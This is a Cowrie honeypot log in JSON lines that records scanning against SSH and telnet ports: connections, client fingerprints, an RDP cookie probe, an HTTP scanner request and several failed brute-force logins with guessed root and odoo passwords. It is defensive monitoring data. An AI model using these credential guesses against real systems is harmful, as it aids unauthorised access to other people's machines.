{"eventid":"cowrie.session.closed","duration":37.1086208820343,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:41:59.695006Z","src_ip":"152.42.224.71","session":"fecdf741e5ab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41228,"dst_ip":"10.17.0.5","dst_port":23,"session":"45470a768fd7","protocol":"telnet","message":"New connection: 152.42.224.71:41228 (10.17.0.5:23) [session: 45470a768fd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:42:00.568511Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41244,"dst_ip":"10.17.0.5","dst_port":23,"session":"f100e92efe48","protocol":"telnet","message":"New connection: 152.42.224.71:41244 (10.17.0.5:23) [session: f100e92efe48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:42:03.283633Z"}
{"eventid":"cowrie.session.closed","duration":120.00318241119385,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:42:06.158692Z","src_ip":"152.42.224.71","session":"2c556ec246b6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":78.30885124206543,"message":"Connection lost after 78 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:42:08.246668Z","src_ip":"152.42.224.71","session":"910041c57d95","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.192745208740234,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:42:14.558882Z","src_ip":"152.42.224.71","session":"18298c1fcec0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43420,"dst_ip":"10.17.0.5","dst_port":23,"session":"a166b0d8d28f","protocol":"telnet","message":"New connection: 152.42.224.71:43420 (10.17.0.5:23) [session: a166b0d8d28f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:42:18.450241Z"}
{"eventid":"cowrie.session.closed","duration":25.302727699279785,"message":"Connection lost after 25 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:42:21.090325Z","src_ip":"152.42.224.71","session":"e4c4d00682ba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":91.94747042655945,"message":"Connection lost after 91 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:42:22.102506Z","src_ip":"152.42.224.71","session":"faa55b98deb8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.85.181","src_port":52884,"dst_ip":"10.17.0.5","dst_port":22,"session":"ad5c15f9e49a","protocol":"ssh","message":"New connection: 43.173.85.181:52884 (10.17.0.5:22) [session: ad5c15f9e49a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:42:26.508781Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:42:26.513231Z","src_ip":"43.173.85.181","session":"ad5c15f9e49a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:42:26.583493Z","src_ip":"43.173.85.181","session":"ad5c15f9e49a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@123456","message":"login attempt [root/root@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:42:26.885311Z","src_ip":"43.173.85.181","session":"ad5c15f9e49a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:42:27.956182Z","src_ip":"43.173.85.181","session":"ad5c15f9e49a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.237.167.49","src_port":35950,"dst_ip":"159.203.135.109","dst_port":22,"session":"15639c8dd5e6","protocol":"ssh","message":"New connection: 47.237.167.49:35950 (159.203.135.109:22) [session: 15639c8dd5e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:42:29.809116Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:42:29.813700Z","src_ip":"47.237.167.49","session":"15639c8dd5e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.748021602630615,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:42:30.790512Z","src_ip":"152.42.224.71","session":"f62014691965","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35092,"dst_ip":"10.17.0.5","dst_port":23,"session":"e74e73590dc2","protocol":"telnet","message":"New connection: 152.42.224.71:35092 (10.17.0.5:23) [session: e74e73590dc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:42:34.120216Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35086,"dst_ip":"10.17.0.5","dst_port":23,"session":"51164cf3671b","protocol":"telnet","message":"New connection: 152.42.224.71:35086 (10.17.0.5:23) [session: 51164cf3671b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:42:38.279317Z"}
{"eventid":"cowrie.session.closed","duration":43.97726321220398,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:42:38.734756Z","src_ip":"152.42.224.71","session":"325985a3b227","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"9.234.8.67","src_port":38668,"dst_ip":"159.203.135.109","dst_port":23,"session":"d895297535a7","protocol":"telnet","message":"New connection: 9.234.8.67:38668 (159.203.135.109:23) [session: d895297535a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:42:40.783783Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34510,"dst_ip":"10.17.0.5","dst_port":23,"session":"01b63a20e9f6","protocol":"telnet","message":"New connection: 152.42.224.71:34510 (10.17.0.5:23) [session: 01b63a20e9f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:42:43.386884Z"}
{"eventid":"cowrie.session.closed","duration":48.86549139022827,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:42:47.867946Z","src_ip":"152.42.224.71","session":"a27c7b53a033","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.86.95.8","src_port":59924,"dst_ip":"10.17.0.5","dst_port":22,"session":"9514d95580b8","protocol":"ssh","message":"New connection: 167.86.95.8:59924 (10.17.0.5:22) [session: 9514d95580b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:42:48.219751Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:42:48.224812Z","src_ip":"167.86.95.8","session":"9514d95580b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:42:48.321143Z","src_ip":"167.86.95.8","session":"9514d95580b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"123456","message":"login attempt [odoo/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:42:48.742172Z","src_ip":"167.86.95.8","session":"9514d95580b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:42:49.844538Z","src_ip":"167.86.95.8","session":"9514d95580b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":10.041799545288086,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:42:50.825482Z","src_ip":"9.234.8.67","session":"d895297535a7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"9.234.8.67","src_port":38456,"dst_ip":"159.203.135.109","dst_port":23,"session":"278a7b71381d","protocol":"telnet","message":"New connection: 9.234.8.67:38456 (159.203.135.109:23) [session: 278a7b71381d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:42:50.868317Z"}
{"eventid":"cowrie.session.closed","duration":0.05375266075134277,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:42:50.921917Z","src_ip":"9.234.8.67","session":"278a7b71381d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54346,"dst_ip":"10.17.0.5","dst_port":23,"session":"ffe02aa8c187","protocol":"telnet","message":"New connection: 152.42.224.71:54346 (10.17.0.5:23) [session: ffe02aa8c187]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:42:53.074304Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54348,"dst_ip":"10.17.0.5","dst_port":23,"session":"3bfa939f59ed","protocol":"telnet","message":"New connection: 152.42.224.71:54348 (10.17.0.5:23) [session: 3bfa939f59ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:42:54.938518Z"}
{"eventid":"cowrie.session.closed","duration":17.043254613876343,"message":"Connection lost after 17 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:42:55.322446Z","src_ip":"152.42.224.71","session":"51164cf3671b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45958,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb33308b1c34","protocol":"telnet","message":"New connection: 152.42.224.71:45958 (10.17.0.5:23) [session: cb33308b1c34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:42:58.771357Z"}
{"eventid":"cowrie.session.closed","duration":120.00886297225952,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:43:08.577201Z","src_ip":"152.42.224.71","session":"86d0c4e80e2f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43170,"dst_ip":"10.17.0.5","dst_port":23,"session":"04008963894f","protocol":"telnet","message":"New connection: 152.42.224.71:43170 (10.17.0.5:23) [session: 04008963894f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:43:11.159144Z"}
{"eventid":"cowrie.session.closed","duration":29.587136268615723,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:43:12.973914Z","src_ip":"152.42.224.71","session":"01b63a20e9f6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43182,"dst_ip":"10.17.0.5","dst_port":23,"session":"b8e9f70ce67f","protocol":"telnet","message":"New connection: 152.42.224.71:43182 (10.17.0.5:23) [session: b8e9f70ce67f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:43:16.209914Z"}
{"eventid":"cowrie.session.closed","duration":44.415552377700806,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:43:18.535608Z","src_ip":"152.42.224.71","session":"e74e73590dc2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53490,"dst_ip":"10.17.0.5","dst_port":23,"session":"138ddf3c1180","protocol":"telnet","message":"New connection: 152.42.224.71:53490 (10.17.0.5:23) [session: 138ddf3c1180]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:43:20.455672Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53498,"dst_ip":"10.17.0.5","dst_port":23,"session":"81ed8440222b","protocol":"telnet","message":"New connection: 152.42.224.71:53498 (10.17.0.5:23) [session: 81ed8440222b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:43:21.962921Z"}
{"eventid":"cowrie.session.closed","duration":26.606091499328613,"message":"Connection lost after 26 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:43:25.377309Z","src_ip":"152.42.224.71","session":"cb33308b1c34","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.64822340011597,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:43:27.586607Z","src_ip":"152.42.224.71","session":"3bfa939f59ed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":113.1282868385315,"message":"Connection lost after 113 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:43:32.943938Z","src_ip":"152.42.224.71","session":"98f56edafa46","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57490,"dst_ip":"10.17.0.5","dst_port":23,"session":"d99610206b67","protocol":"telnet","message":"New connection: 152.42.224.71:57490 (10.17.0.5:23) [session: d99610206b67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:43:34.255374Z"}
{"eventid":"cowrie.session.closed","duration":120.00146222114563,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:43:34.916662Z","src_ip":"152.42.224.71","session":"d083361c5b88","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":95.45418643951416,"message":"Connection lost after 95 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:43:36.022578Z","src_ip":"152.42.224.71","session":"45470a768fd7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.85.181","src_port":48120,"dst_ip":"10.17.0.5","dst_port":22,"session":"e0204f20f35b","protocol":"ssh","message":"New connection: 43.173.85.181:48120 (10.17.0.5:22) [session: e0204f20f35b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:43:37.383142Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:43:37.387535Z","src_ip":"43.173.85.181","session":"e0204f20f35b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:43:37.455211Z","src_ip":"43.173.85.181","session":"e0204f20f35b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234.Abcd","message":"login attempt [root/1234.Abcd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:43:37.758298Z","src_ip":"43.173.85.181","session":"e0204f20f35b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:43:38.829330Z","src_ip":"43.173.85.181","session":"e0204f20f35b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":49688,"dst_ip":"159.203.135.109","dst_port":22,"session":"dafba7e57332","protocol":"ssh","message":"New connection: 152.42.212.128:49688 (159.203.135.109:22) [session: dafba7e57332]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:43:41.515481Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:43:41.520189Z","src_ip":"152.42.212.128","session":"dafba7e57332","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:43:41.523462Z","src_ip":"152.42.212.128","session":"dafba7e57332","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00387740135193,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:43:44.554194Z","src_ip":"152.42.224.71","session":"5387ea14f11b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.154.201.80","src_port":32556,"dst_ip":"10.17.0.5","dst_port":23,"session":"855008937aac","protocol":"telnet","message":"New connection: 207.154.201.80:32556 (10.17.0.5:23) [session: 855008937aac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:43:50.510700Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 134.199.244.163:23","message":"login attempt [GET / HTTP/1.1/Host: 134.199.244.163:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:43:50.515543Z","src_ip":"207.154.201.80","session":"855008937aac","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Mozilla/5.0 (compatible; Odin; https://docs.getodin.com/)","password":"Accept: */*","message":"login attempt [User-Agent: Mozilla/5.0 (compatible; Odin; https://docs.getodin.com/)/Accept: */*] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:43:50.519085Z","src_ip":"207.154.201.80","session":"855008937aac","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"Accept-Encoding: gzip","password":"","message":"login attempt [Accept-Encoding: gzip/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:43:50.522623Z","src_ip":"207.154.201.80","session":"855008937aac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.09900259971618652,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:43:50.609618Z","src_ip":"207.154.201.80","session":"855008937aac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.154.201.80","src_port":32562,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d2d6aabb5e7","protocol":"telnet","message":"New connection: 207.154.201.80:32562 (10.17.0.5:23) [session: 7d2d6aabb5e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:43:51.690363Z"}
{"eventid":"cowrie.session.closed","duration":0.0049304962158203125,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:43:51.695078Z","src_ip":"207.154.201.80","session":"7d2d6aabb5e7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":58.68215894699097,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:43:51.756331Z","src_ip":"152.42.224.71","session":"ffe02aa8c187","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":94.685964345932,"message":"Connection lost after 94 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:43:53.136065Z","src_ip":"152.42.224.71","session":"a166b0d8d28f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.09454321861267,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:43:53.304320Z","src_ip":"152.42.224.71","session":"b8e9f70ce67f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":59312,"dst_ip":"10.17.0.5","dst_port":22,"session":"40518c9a9106","protocol":"ssh","message":"New connection: 37.233.85.71:59312 (10.17.0.5:22) [session: 40518c9a9106]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:43:55.088374Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:43:55.093803Z","src_ip":"37.233.85.71","session":"40518c9a9106","protocol":"ssh"}
